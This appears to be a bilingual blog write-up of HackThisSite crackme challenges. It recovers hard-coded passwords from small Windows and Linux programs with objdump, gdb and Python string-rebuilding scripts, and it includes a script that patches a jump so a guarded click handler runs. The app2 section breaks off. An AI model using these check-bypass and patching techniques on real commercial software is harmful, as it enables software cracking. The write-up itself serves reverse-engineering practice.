Hello Navi

Tech, Security & Personal Notes

Challenge

An application stores its password on the stack and compares it against user input. 应用程序要求输入密码进行验证,正确密码以常量的形式写在函数内部,运行时复制到栈上,再与用户输入逐字节比较。

附件含两个版本:app5win.zip(Windows 控制台 exe Live_Application_5.exe)和 app5unix.tar.gz(ELF 可执行文件 app5unix)。官方暗示两个平台的密码一致,Linux 版没有 strip,直接从本地 ELF 入手最快。

Solution

Recon:

  • file app5unixELF 32-bit LSB pie executable, Intel i386, not stripped,源码文件名残留在符号表里:app5win.c(Linux 版由同一份 C 源码编译)。
  • strings -a app5unix 里看不到完整密码,但有 4 个可疑短串 powertrippin,以及 Please enter the password:Invalid PasswordThe password is %s
  • powe / rtri / ppin 恰好是 4 字节对齐的 ASCII 片段 —— 它们是被拆成 4 个 dword、以立即数形式 mov 进栈的常量,反汇编后按写入顺序拼回来即可。

Step 1: 反汇编 main,定位常量与比较循环

函数符号没去掉,直接反汇编 main

1
$ objdump -d -M intel app5unix --section=.text | sed -n '/<main>:/,/^$/p'

main 的完整反汇编如下(含 PIE 序言与栈保护样板):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
124d:  f3 0f 1e fb           endbr32
1251: 8d 4c 24 04 lea ecx,[esp+0x4]
1255: 83 e4 f0 and esp,0xfffffff0
1258: ff 71 fc push DWORD PTR [ecx-0x4]
125b: 55 push ebp
125c: 89 e5 mov ebp,esp
125e: 53 push ebx
125f: 51 push ecx
1260: 83 ec 50 sub esp,0x50
1263: e8 e8 fe ff ff call 1150 <__x86.get_pc_thunk.bx>
1268: 81 c3 60 2d 00 00 add ebx,0x2d60
126e: 89 c8 mov eax,ecx
1270: 8b 40 04 mov eax,DWORD PTR [eax+0x4]
1273: 89 45 b4 mov DWORD PTR [ebp-0x4c],eax
1276: 65 a1 14 00 00 00 mov eax,gs:0x14 ; stack canary
127c: 89 45 f4 mov DWORD PTR [ebp-0xc],eax
127f: 31 c0 xor eax,eax
1281: c7 45 d4 67 0a 00 00 mov DWORD PTR [ebp-0x2c],0xa67 ; [ebp-0x2c] = 0xa67 -> 67 0a 00 00 ('g' '\n' 0 0)
1288: c7 45 d8 70 70 69 6e mov DWORD PTR [ebp-0x28],0x6e697070 ; [ebp-0x28] = "ppin"
128f: c7 45 dc 72 74 72 69 mov DWORD PTR [ebp-0x24],0x69727472 ; [ebp-0x24] = "rtri"
1296: c7 45 e0 70 6f 77 65 mov DWORD PTR [ebp-0x20],0x65776f70 ; [ebp-0x20] = "powe"
129d: 83 ec 0c sub esp,0xc
12a0: 8d 83 40 e0 ff ff lea eax,[ebx-0x1fc0]
12a6: 50 push eax
12a7: e8 34 fe ff ff call 10e0 <puts@plt>
12ac: 83 c4 10 add esp,0x10
12af: 83 ec 04 sub esp,0x4
12b2: 6a 10 push 0x10 ; memset(input, 0, 16), input 在 [ebp-0x1c]
12b4: 6a 00 push 0x0
12b6: 8d 45 e4 lea eax,[ebp-0x1c]
12b9: 50 push eax
12ba: e8 41 fe ff ff call 1100 <memset@plt>
12bf: 83 c4 10 add esp,0x10
12c2: c7 45 cc 00 00 00 00 mov DWORD PTR [ebp-0x34],0x0
12c9: c7 45 c8 00 00 00 00 mov DWORD PTR [ebp-0x38],0x0
12d0: c7 45 c4 00 00 00 00 mov DWORD PTR [ebp-0x3c],0x0
12d7: e8 e4 fd ff ff call 10c0 <getchar@plt> ; c = getchar()
12dc: 88 45 c3 mov BYTE PTR [ebp-0x3d],al
12df: 8b 45 cc mov eax,DWORD PTR [ebp-0x34]
12e2: 8d 50 01 lea edx,[eax+0x1]
12e5: 89 55 cc mov DWORD PTR [ebp-0x34],edx
12e8: 0f b6 55 c3 movzx edx,BYTE PTR [ebp-0x3d]
12ec: 88 54 05 e4 mov BYTE PTR [ebp+eax*1-0x1c],dl
12f0: 80 7d c3 0a cmp BYTE PTR [ebp-0x3d],0xa
12f4: 74 0c je 1302 <main+0xb5>
12f6: 80 7d c3 00 cmp BYTE PTR [ebp-0x3d],0x0
12fa: 74 06 je 1302 <main+0xb5>
12fc: 83 7d cc 0f cmp DWORD PTR [ebp-0x34],0xf ; len < 16 才继续
1300: 76 d5 jbe 12d7 <main+0x8a>
1302: 8d 45 e4 lea eax,[ebp-0x1c]
1305: 89 45 d0 mov DWORD PTR [ebp-0x30],eax
1308: c7 45 c8 00 00 00 00 mov DWORD PTR [ebp-0x38],0x0 ; i = 0
130f: c7 45 c4 03 00 00 00 mov DWORD PTR [ebp-0x3c],0x3 ; j = 3
1316: eb 40 jmp 1358 <main+0x10b>
1318: 8b 45 c8 mov eax,DWORD PTR [ebp-0x38] ; 取 input_dword[i>>2] 与 const_dword[j] 比较
131b: c1 e8 02 shr eax,0x2
131e: 8d 14 85 00 00 00 00 lea edx,[eax*4+0x0]
1325: 8b 45 d0 mov eax,DWORD PTR [ebp-0x30]
1328: 01 d0 add eax,edx
132a: 8b 10 mov edx,DWORD PTR [eax]
132c: 8b 45 c4 mov eax,DWORD PTR [ebp-0x3c]
132f: 8b 44 85 d4 mov eax,DWORD PTR [ebp+eax*4-0x2c]
1333: 39 c2 cmp edx,eax
1335: 74 19 je 1350 <main+0x103>
1337: 83 ec 0c sub esp,0xc ; 不等 -> printf("Invalid Password")
133a: 8d 83 5b e0 ff ff lea eax,[ebx-0x1fa5]
1340: 50 push eax
1341: e8 6a fd ff ff call 10b0 <printf@plt>
1346: 83 c4 10 add esp,0x10
1349: b8 00 00 00 00 mov eax,0x0
134e: eb 29 jmp 1379 <main+0x12c>
1350: 83 45 c8 04 add DWORD PTR [ebp-0x38],0x4 ; i += 4
1354: 83 6d c4 01 sub DWORD PTR [ebp-0x3c],0x1 ; j -= 1
1358: 83 7d c8 0c cmp DWORD PTR [ebp-0x38],0xc ; while (i <= 12)
135c: 76 ba jbe 1318 <main+0xcb>
135e: 83 ec 08 sub esp,0x8 ; 全等 -> printf("The password is %s", input)
1361: 8d 45 e4 lea eax,[ebp-0x1c]
1364: 50 push eax
1365: 8d 83 6c e0 ff ff lea eax,[ebx-0x1f94]
136b: 50 push eax
136c: e8 3f fd ff ff call 10b0 <printf@plt>
1371: 83 c4 10 add esp,0x10
1374: b8 00 00 00 00 mov eax,0x0
1379: 8b 4d f4 mov ecx,DWORD PTR [ebp-0xc]
137c: 65 33 0d 14 00 00 00 xor ecx,DWORD PTR gs:0x14
1383: 74 05 je 138a <main+0x13d>
1385: e8 96 00 00 00 call 1420 <__stack_chk_fail_local>
138a: 8d 65 f8 lea esp,[ebp-0x8]
138d: 59 pop ecx
138e: 5b pop ebx
138f: 5d pop ebp
1390: 8d 61 fc lea esp,[ecx-0x4]
1393: c3 ret

0x1281~0x1296 把 16 字节的正确密码常量分 4 个 dword 写进 [ebp-0x2c]..[ebp-0x20]0x12d7 起是一个带长度上限的 getchar 循环,把每个字符写进 [ebp-0x1c + i],遇到 \n0xa)、NUL 或长度超过 15 就停;0x1318~0x135c 是比较循环,i 从 0 每次 +4、j 从 3 每次 -1。

Step 2: 从校验循环逆推密码

观察 → 推理:

  • 常量区在栈上是 [ebp-0x2c] = 0xa67[ebp-0x28] = "ppin"[ebp-0x24] = "rtri"[ebp-0x20] = "powe"
  • 循环让 i 从 0 递增、j 从 3 递减,比较的是 input_dword[i/4] == const_dword[j]。也就是说输入的第 0/1/2/3 个 dword 要分别等于常量里第 3/2/1/0 个 dword —— 常量在内存里是倒序存的。
  • 把 4 个 dword 按内存顺序还原成字节:67 0a 00 00 | 70 70 69 6e | 72 74 72 69 | 70 6f 77 65 → 反过来按 dword 拼接(powe + rtri + ppin + g)得到 powertripping
  • 那个 0x0a 正是结尾换行 —— getchar 循环会连同 \n 一起读进 input[13],第 4 个 dword 比较时也把它纳入了匹配,所以输入 powertripping\n 能对上。

用 gdb 在常量写完、比较开始前断下,直接 dump 栈内存验证推导:

1
2
3
4
5
6
$ gdb -q -batch -ex 'set pagination off' \
-ex 'break *main+0x50' -ex 'run' \
-ex 'x/16bx $ebp-0x2c' ./app5unix
Breakpoint 1, 0x5655629d in main ()
0xffffbafc: 0x67 0x0a 0x00 0x00 0x70 0x70 0x69 0x6e
0xffffbb04: 0x72 0x74 0x72 0x69 0x70 0x6f 0x77 0x65

0xffffbafc 起 16 字节即 g \n \0 \0 p p i n r t r i p o w e,按 dword 反向读就是 powe rtri ppin g\n

Step 3: 本地运行验证

把推导出的口令喂给程序,它会自己把密码打印出来:

1
2
3
4
5
6
7
$ printf 'powertripping\n' | ./app5unix
Please enter the password:
The password is powertripping

$ printf 'wrongpass\n' | ./app5unix
Please enter the password:
Invalid Password
powertripping

Challenge

Press the Button. (easy)

按下按钮(easy)。

包内只有一个 app4win.exe(24 KB)。界面上有两个按钮,鼠标指到哪个,哪个就被置灰、另一个恢复可用,所以两个按钮都点不到。

Solution

Recon:

  • file app4win.exePE32 executable for MS Windows 4.00 (GUI), Intel i386, 3 sections。导入表里只有 MSVBVM60.DLL 一个 DLL,代码在 .text(VA 0x401000,大小 0x2af8),没有 overlay。这是 VB6 编译成 native code 的程序,不是 p-code。
  • 导入表里直接能看到密码是怎么被拼出来的痕迹 —— 调用 rtcVarBstrFromAnsi(把 ANSI 字符转成 BSTR)和 __vbaVarCat(拼接 Variant 字符串):
1
2
3
4
5
6
7
8
9
10
11
$ objdump -x -M intel app4win.exe | sed -n '/The Import Tables/,$p'
The Import Tables (interpreted .text section contents)
00003814 0000383c ffffffff ffffffff 000038d4 00001000

DLL Name: MSVBVM60.DLL
vma: Ordinal Hint Member-Name Bound-To
00001054 608 <none> <none> 660e544f ; rtcVarBstrFromAnsi
0000105c <none> 0000 __vbaVarCat 660ea219
00001064 <none> 0000 __vbaNew2 6601c28c
0000108c <none> 0000 __vbaFreeObj 66024fd4
00001090 <none> 0000 __vbaFreeStr 660246fb
  • 版本信息资源还留着编译时的工程名,确认真的是 VB6:
1
2
3
4
5
$ strings -el app4win.exe | grep -iE 'challenge|project|app'
@*\AC:\Program Files\Microsoft Visual Studio\VB98\Projects\Challenge\c5Project1.vbp
c5Project1
AppChallenge
AppChallenge.exe
  • 密码不在字符串表里grep -a -c daytona app4win.exe0,连 Password 这个词都搜不到。和同批 app1 一样,是运行时逐字符生成的,必须反汇编重建。

Step 1: VB6 事件分发表

VB6 native 程序给每个控件事件编一个 id,进入事件时用一长串 sub dword ptr [esp+4], id + jmp handler 分发。把这套 81 6c 24 04 <id> e9 <rel32> 模式扫出来:

1
$ objdump -d -M intel app4win.exe > out/app4.asm

核心分发在这几行(VA 0x40247c 起):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
40247c: 81 6c 24 04 33 00 00 00   sub    DWORD PTR [esp+0x4],0x33
402484: e9 07 01 00 00 jmp 0x402590 ; 建主窗口 (Form_Load)
402489: 81 6c 24 04 37 00 00 00 sub DWORD PTR [esp+0x4],0x37
402491: e9 ba 02 00 00 jmp 0x402750
402496: 81 6c 24 04 37 00 00 00 sub DWORD PTR [esp+0x4],0x37
40249e: e9 6d 03 00 00 jmp 0x402810 ; 上按钮 MouseMove
4024a3: 81 6c 24 04 3b 00 00 00 sub DWORD PTR [esp+0x4],0x3b
4024ab: e9 60 04 00 00 jmp 0x402910
4024b0: 81 6c 24 04 3b 00 00 00 sub DWORD PTR [esp+0x4],0x3b
4024b8: e9 13 05 00 00 jmp 0x4029d0 ; 下按钮 MouseMove
4024bd: 81 6c 24 04 37 00 00 00 sub DWORD PTR [esp+0x4],0x37
4024c5: e9 06 06 00 00 jmp 0x402ad0 ; 上按钮 Click
4024ca: 81 6c 24 04 3b 00 00 00 sub DWORD PTR [esp+0x4],0x3b
4024d2: e9 99 0c 00 00 jmp 0x403170 ; 下按钮 Click

event id 0x33 是建窗口,0x37 指上按钮、0x3b 指下按钮;每个按钮各有一对「MouseMove / Click」处理函数。

Step 2: 确认「点不到」的原因

上按钮的 MouseMove 处理函数 0x402810 里,第一步就是对这个按钮自己调 EnableWindow(hwnd, FALSE)

1
2
3
4
5
40286d: 8b f8                mov    edi,eax
40286f: 6a 00 push 0x0 ; FALSE
402871: 57 push edi ; hwnd = 上按钮
402872: 8b 0f mov ecx,DWORD PTR [edi]
402874: ff 91 8c 00 00 00 call DWORD PTR [ecx+0x8c] ; EnableWindow 包装

0x4029d0(下按钮 MouseMove)是镜像逻辑:禁用下按钮、启用上按钮。于是鼠标一进入某个按钮它就自我禁用,Click 永远触发不了。真正的密码逻辑在 Click 处理函数 0x402ad0 / 0x403170,不是被禁用的那一边。

Step 3: 从 Click 处理函数重建密码

0x402ad0 逐字符调用 rtcVarBstrFromAnsi 生成单字符 BSTR:

1
2
3
4
5
6
7
8
9
10
11
12
13
402b12: 8b 3d 54 10 40 00    mov    edi,DWORD PTR ds:0x401054   ; rtcVarBstrFromAnsi
402b1d: 6a 50 push 0x50 ; 'P'
402b1f: 50 push eax
; 中间是 42 条 Variant 槽位零初始化 mov DWORD PTR [ebp-0x..],esi,与字符重建无关
402c19: ff d7 call edi
402c1b: 8d 4d c8 lea ecx,[ebp-0x38]
402c1e: 6a 61 push 0x61 ; 'a'
402c20: 51 push ecx
402c21: ff d7 call edi
; 中间是 's' 's' 'w' 'o' 'r' 'd' ' ' 'i' 's' ' ' 这 10 个字符各一组 lea/push/call 三连,模式与上同
402ce9: 6a 27 push 0x27 ; '\''
402ceb: 52 push edx
402cec: ff d7 call edi

每个字符的 immediate 按地址顺序连起来就是消息串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#!/usr/bin/env python3
"""Recover the site password built by HackThisSite app4win.exe (VB6 native).

The exe is compiled to VB6 *native code*, so the password is not a plain
string constant. Each character is turned into a BSTR by the runtime
``rtcVarBstrFromAnsi`` and the pieces are glued together by ``__vbaVarCat``.
The code that does this lives inside the button click handlers:

mov edi, ds:rtcVarBstrFromAnsi ; 8b 3d 54 10 40 00
; (此处插入 Variant 槽位零初始化指令,把 push 0x50 与首次 call 隔开)
push 0x50 ; 'P' (deliberately spaced away from
... ; the first call by the VB
call edi ; variant zero-initialisation)
lea ecx, [ebp-0x38]
push 0x61 ; 'a'
push ecx
call edi
; (其后为 's' 's' 'w' 'o' 'r' 'd' ... 各字符同模式的 lea/push/call 序列)

Both the button-click handler at 0x402AD0 and the one at 0x403170 build the
same message. This script walks every ``rtcVarBstrFromAnsi`` chain and prints
the immediates in address order, which is exactly the string handed to the
message box.

usage: ./extract_app4_password.py <exe>
"""
import struct
import sys

RTC = bytes.fromhex('8b3d54104000') # mov edi, ds:[0x401054] rtcVarBstrFromAnsi
CAT = bytes.fromhex('8b3d5c104000') # mov edi, ds:[0x40105c] __vbaVarCat
CALL_EDI = bytes.fromhex('ffd7') # call edi
DISPATCH = bytes.fromhex('816c2404') # sub dword ptr [esp+4], imm32
JMP_REL = 0xe9


def text(data):
""".text starts at VA 0x401000 / file offset 0x1000 (fixed for this exe)."""
return data, 0x1000, 0x401000


def chains(data, base_file, base_va):
"""Yield (va, [chars]) for every rtcVarBstrFromAnsi character chain."""
pos = 0
while True:
start = data.find(RTC, pos)
if start < 0:
break
end = data.find(CAT, start)
if end < 0:
end = len(data)
chain_start = start
chars = []
for _ in range(64):
call = data.find(CALL_EDI, start, end)
if call < 0:
break
# the character immediate sits just before the two pushes that
# feed the call; scan back for a `push imm8` (6a XX)
off = call
while off > start:
if data[off] == 0x6a:
val = data[off + 1]
if 0x20 <= val <= 0x7e:
chars.append((base_va + (off - base_file), val))
break
off -= 1
start = call + 2
if chars:
yield base_va + (chain_start - base_file), chars
pos = end + 6


def dispatch(data, base_file, base_va):
"""Print the event-id -> handler switch that drives the buttons."""
pos = 0
out = []
while True:
i = data.find(DISPATCH, pos)
if i < 0:
break
ev = struct.unpack_from('<I', data, i + 4)[0]
if data[i + 8] == JMP_REL:
rel = struct.unpack_from('<i', data, i + 9)[0]
target = base_va + (i - base_file) + 13 + rel
out.append((base_va + (i - base_file), ev, target))
pos = i + 13
return out


def main():
path = sys.argv[1]
data = open(path, 'rb').read()
data, base_file, base_va = text(data)

print(f'[*] {path}')
print('[*] event dispatch (event id -> handler)')
for va, ev, target in dispatch(data, base_file, base_va):
print(f' {va:#08x} id {ev:#04x} -> {target:#08x}')

for va, chars in chains(data, base_file, base_va):
s = ''.join(chr(v) for _, v in chars)
print(f'\n[*] rtcVarBstrFromAnsi chain at {va:#08x}: {len(chars)} chars')
for cva, val in chars:
print(f' {cva:#08x} push {val:#04x} {chr(val)!r}')
print(f' => {s!r}')


if __name__ == '__main__':
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ cd <hts-workspace> && uv run python challenges/hts-app/app4/extract_app4_password.py challenges/hts-app/app4/win/app4win.exe
[*] challenges/hts-app/app4/win/app4win.exe
[*] event dispatch (event id -> handler)
0x40247c id 0x33 -> 0x402590
0x402489 id 0x37 -> 0x402750
0x402496 id 0x37 -> 0x402810
0x4024a3 id 0x3b -> 0x402910
0x4024b0 id 0x3b -> 0x4029d0
0x4024bd id 0x37 -> 0x402ad0
0x4024ca id 0x3b -> 0x403170

[*] rtcVarBstrFromAnsi chain at 0x402b12: 21 chars
0x402b1d push 0x50 'P'
0x402c1e push 0x61 'a'
0x402c26 push 0x73 's'
0x402c2e push 0x73 's'
0x402c39 push 0x77 'w'
0x402c44 push 0x6f 'o'
0x402c4f push 0x72 'r'
0x402c5a push 0x64 'd'
0x402c65 push 0x20 ' '
0x402c70 push 0x69 'i'
0x402c7b push 0x73 's'
0x402c86 push 0x20 ' '
0x402c91 push 0x27 "'"
0x402c9c push 0x64 'd'
0x402ca7 push 0x61 'a'
0x402cb2 push 0x79 'y'
0x402cbd push 0x74 't'
0x402cc8 push 0x6f 'o'
0x402cd3 push 0x6e 'n'
0x402cde push 0x61 'a'
0x402ce9 push 0x27 "'"
=> "Password is 'daytona'"

下按钮的 Click 处理函数 0x403170 建的是同一个串(push 0x50push 0x27,21 个字符),两条链互相印证。0x402cee 起的 __vbaVarCat 序列把这段 21 字符的串接起来,最后 __vbaNew20x401064)造出弹窗对象显示:

1
2
3
4
5
402d00: ff 15 64 10 40 00    call   DWORD PTR ds:0x401064   ; __vbaNew2
402d50: 8b 3d 5c 10 40 00 mov edi,DWORD PTR ds:0x40105c ; __vbaVarCat
402d8c: ff d7 call edi
402d97: ff d7 call edi
; 其后是一长串同模式的 lea/push/call edi,把 21 个字符 BSTR 逐段拼成完整消息串

Step 4: Patch 让鼠标「按下」上按钮

既然上按钮的 MouseMove(0x402810)会自我禁用,把分发表里指向它的那个 jmp 改成指向真正的 Click 处理函数 0x402ad0 即可 —— 鼠标一进按钮就等于按下了它。要改的指令在文件偏移 0x249e(VA 0x40249e):

1
2
$ xxd -s 0x2496 -l 16 app4win.exe
00002496: 816c 2404 3700 0000 e96d 0300 0081 6c24 .l$.7....m....l$

e9 6d 03 00 00jmp 0x402810rel32 相对指令末尾 0x4024a3 计算,新目标 0x402ad0 对应 rel = 0x402ad0 - 0x4024a3 = 0x62d

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3
"""Patch app4win.exe so the upper button's MouseMove jumps straight to the
click handler that builds the password.

The event dispatcher uses one shared stub per event id; the button events are:

file off 0x247C sub [esp+4], 0x33 jmp 0x402590 Form_Load / create
file off 0x2489 sub [esp+4], 0x37 jmp 0x402750
file off 0x2496 sub [esp+4], 0x37 jmp 0x402810 upper Button MouseMove
file off 0x24A3 sub [esp+4], 0x3B jmp 0x402910
file off 0x24B0 sub [esp+4], 0x3B jmp 0x4029D0 lower Button MouseMove
file off 0x24BD sub [esp+4], 0x37 jmp 0x402AD0 upper Button Click
file off 0x24CA sub [esp+4], 0x3B jmp 0x403170 lower Button Click

Every time the pointer enters the upper button the MouseMove stub at 0x402810
disables that very button (EnableWindow(hwnd, FALSE)), so it can never be
clicked. Redirecting its `jmp` (VA 0x40249E, file offset 0x249E) from
0x402810 to the real click handler 0x402AD0 makes the mouse simply "press" it
and the password message box pops up.

usage: ./patch_app4.py <in.exe> <out.exe>
"""
import shutil
import struct
import sys

JMP_FILE_OFF = 0x249E # `e9 6d 03 00 00` jmp 0x402810
JMP_END_VA = 0x4024A3 # end of the instruction; rel32 is relative to this
NEW_TARGET = 0x402AD0 # loc_402AD0: the upper button's click handler


def main():
src, dst = sys.argv[1], sys.argv[2]
shutil.copyfile(src, dst)
with open(dst, 'r+b') as f:
f.seek(JMP_FILE_OFF)
old = f.read(5)
assert old[0] == 0xE9, f'expected a jmp rel32, got {old.hex()}'
rel = NEW_TARGET - JMP_END_VA
f.seek(JMP_FILE_OFF)
f.write(b'\xE9' + struct.pack('<i', rel))
print(f'{src} -> {dst}')
new = b'\xE9' + struct.pack('<i', rel)
print(f' {JMP_FILE_OFF:#06x}: jmp 0x402810 => jmp {NEW_TARGET:#x} ({old.hex()} -> {new.hex()})')


if __name__ == '__main__':
main()
1
2
3
$ cd <hts-workspace> && uv run python challenges/hts-app/app4/patch_app4.py challenges/hts-app/app4/win/app4win.exe challenges/hts-app/app4/out/app4win_patched.exe
challenges/hts-app/app4/win/app4win.exe -> challenges/hts-app/app4/out/app4win_patched.exe
0x249e: jmp 0x402810 => jmp 0x402ad0 (e96d030000 -> e92d060000)

反汇编验证补丁生效:

1
2
3
4
$ objdump -d -M intel --start-address=0x402496 --stop-address=0x4024a3 app4win_patched.exe
402496: 81 6c 24 04 37 00 00 sub DWORD PTR [esp+0x4],0x37
40249d: 00
40249e: e9 2d 06 00 00 jmp 0x402ad0
daytona

Challenge

Find the Password. (easy)

找出密码(easy)。

包内只有一个 app3win.exe(约 1.4 MB)。

Solution

Recon:

  • file app3win.exePE32 executable for MS Windows 4.00 (GUI), Intel i386;导入表里只有 MSVBVM60/KERNEL32 级别的系统 DLL,用户代码与字符串表不在节区里。
  • 这是 REALbasic(Xojo 前身) 原生编译的程序:它不把密码作为明文字符串常量保存,而是在运行时逐字符拼出来 —— mov reg, 0x73 / push reg / call StringDBCSChr 生成单字符,再 call RuntimeAddString 追加到消息串。所以 strings 搜不到密码本身,能搜到的只有格式串:
1
2
3
4
$ grep -a -o -E 'Contratulations[^\x00]{0,50}' app3win.exe
Contratulations! The password to this level is '
$ grep -a -o -E 'incorrect serial[^\x00]{0,30}' app3win.exe
incorrect serial number. Please re-enter.
  • 用户代码和字符链在文件 overlay 里:从 file 偏移 0x153800 开始,运行时映射到 VA 0x55E000。Ghidra 只把 PE 节区载入到 .reloc0x55d000 结束),overlay 不在映射范围,所以 analyzeHeadless + DecompileAll.java 跑完 0 个函数 —— 反编译器这条路对本题无效,必须直接扫 overlay 的指令模式。

Step 1: 扫 overlay 指令模式,重建字符链

字符链的形态是固定的 mov r32, imm32push r32call rel32,每次调用生成一个字符。按地址顺序把 immediate 读出来就是被拼出来的字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#!/usr/bin/env python3
"""Rebuild run-time-built password strings from a Xojo/REALbasic native exe.

REALbasic never stores the level password as a plain string constant. It
builds it one character at a time at run time:

mov ecx, 73h ; 's'
push ecx
call StringDBCSChr ; -> "s"
; 每个字符重复 mov/push/call 这三步
call RuntimeAddString ; append to the message

so the password is invisible to `strings`. This script finds the
`mov reg,imm32 ; push reg ; call rel32` idiom, groups call sites by call
target, and prints the immediate characters in address order for every
target fed printable bytes. The really long runs are the built strings.

usage: ./rebuild_schr.py <exe> [min_run_len]
"""
import struct
import sys
from collections import defaultdict


def load(path):
"""Return (image_base, sections, overlay_file_offset, overlay_bytes)."""
data = open(path, 'rb').read()
e_lfanew = struct.unpack_from('<I', data, 0x3C)[0]
assert data[e_lfanew:e_lfanew + 4] == b'PE\0\0'
coff = e_lfanew + 4
nsec = struct.unpack_from('<H', data, coff + 2)[0]
opt_size = struct.unpack_from('<H', data, coff + 16)[0]
opt = coff + 20
magic = struct.unpack_from('<H', data, opt)[0]
image_base = (struct.unpack_from('<I', data, opt + 28)[0] if magic == 0x10b
else struct.unpack_from('<Q', data, opt + 24)[0])
sec = opt + opt_size
sections = []
end = 0
for i in range(nsec):
s = sec + i * 40
name = data[s:s + 8].rstrip(b'\0').decode('latin1')
vsize, va, rawsize, rawptr = struct.unpack_from('<IIII', data, s + 8)
sections.append((name, image_base + va, vsize, rawptr, rawsize))
end = max(end, rawptr + rawsize)
# REALbasic appends its own object code + string table as a file overlay
return image_base, sections, end, data[end:]


def char_chains(overlay, base_va, gap=0x120):
# one chain element is ~0x9c bytes: mov imm32 + push + call SChr + setup +
# call RuntimeAddString, so the SChr sites of one string sit ~150 bytes apart
"""Find `mov r32,imm ; push r32 ; call rel32` sites and chain their chars."""
by_target = defaultdict(list)
i = 0
while True:
i = overlay.find(b'\xe8', i) # call rel32
if i < 0 or i + 5 > len(overlay):
break
if i >= 2 and 0x50 <= overlay[i - 1] <= 0x57: # push eax..edi
r = overlay[i - 1] - 0x50
if i >= 7 and overlay[i - 6] == 0xB8 + r: # mov reg, imm32
val = struct.unpack_from('<I', overlay, i - 5)[0]
if val <= 0xff:
rel = struct.unpack_from('<i', overlay, i + 1)[0]
by_target[i + 5 + rel].append((i - 6, val))
i += 1

# per-call-site thunks: every SChr call goes through its own stub, so the
# chain must be rebuilt from *all* char sites in address order, not grouped
# by call target.
all_sites = sorted(s for sites in by_target.values() for s in sites)
runs = []
cur, prev = [], None
for off, val in all_sites:
if prev is not None and off - prev > gap:
if cur:
runs.append((0, cur))
cur = []
cur.append((off, val))
prev = off
if cur:
runs.append((0, cur))
return runs


def main():
path = sys.argv[1]
min_len = int(sys.argv[2]) if len(sys.argv) > 2 else 8
image_base, sections, ov_off, overlay = load(path)
base_va = 0x55E000 # where REALbasic maps its overlay
print(f'[*] {path}')
print(f'[*] overlay at file 0x{ov_off:x}, {len(overlay)} bytes, mapped at 0x{base_va:x}')
for target, run in sorted(char_chains(overlay, base_va), key=lambda r: -len(r[1])):
if len(run) < min_len:
continue
s = ''.join(chr(v) for _, v in run)
print(f'\n=== run of {len(run)} chars -> {s!r} ===')
for off, val in run:
print(f' file {ov_off + off:#08x} overlay+{off:#06x} mov reg, {val:#04x} {chr(val)!r}')


if __name__ == '__main__':
main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ cd <hts-workspace> && uv run python challenges/hts-app/rebuild_schr.py challenges/hts-app/app3/win/app3win.exe
[*] challenges/hts-app/app3/win/app3win.exe
[*] overlay at file 0x153800, 81146 bytes, mapped at 0x55e000

=== run of 12 chars -> 'fireyourboss' ===
file 0x15d475 overlay+0x9c75 mov reg, 0x66 'f'
file 0x15d50c overlay+0x9d0c mov reg, 0x69 'i'
file 0x15d5a4 overlay+0x9da4 mov reg, 0x72 'r'
file 0x15d63c overlay+0x9e3c mov reg, 0x65 'e'
file 0x15d6d4 overlay+0x9ed4 mov reg, 0x79 'y'
file 0x15d76c overlay+0x9f6c mov reg, 0x6f 'o'
file 0x15d804 overlay+0xa004 mov reg, 0x75 'u'
file 0x15d89c overlay+0xa09c mov reg, 0x72 'r'
file 0x15d934 overlay+0xa134 mov reg, 0x62 'b'
file 0x15d9cc overlay+0xa1cc mov reg, 0x6f 'o'
file 0x15da64 overlay+0xa264 mov reg, 0x73 's'
file 0x15dafc overlay+0xa2fc mov reg, 0x73 's'

Step 2: 校验链路

app3 同样是"远端提供 keys"的型号:程序把服务器返回的 true/false 直接当校验结果。公开逆向笔记里的做法是把程序里的 true 覆盖成 false,让任意输入都通过。

1
2
3
$ grep -a -o -E 'Contratulations[^\x00]{0,40}|incorrect serial[^\x00]{0,30}' app3win.exe
Contratulations! The password to this level is '
incorrect serial number. Please re-enter.
fireyourboss

Challenge

Find the Password. (easy)

找出密码(easy)。

包内只有一个 app2win.exe(约 1.4 MB)。

Solution

Recon:

  • file app2win.exePE32 executable for MS Windows 4.00 (GUI), Intel i386;导入表里只有 MSVBVM60/KERNEL32 级别的系统 DLL,用户代码与字符串表不在节区里。
  • 这是 REALbasic(Xojo 前身) 原生编译的程序:它不把密码作为明文字符串常量保存,而是在运行时逐字符拼出来 —— mov reg, 0x73 / push reg / call StringDBCSChr 生成单字符,再 call RuntimeAddString 追加到消息串。所以 strings 搜不到密码本身,能搜到的只有格式串:
1
2
3
4
$ grep -a -o -E 'Contratulations[^\x00]{0,50}' app2win.exe
Contratulations! The password to this level is '
$ grep -a -o -E 'incorrect serial[^\x00]{0,30}' app2win.exe
incorrect serial number. Please re-enter.
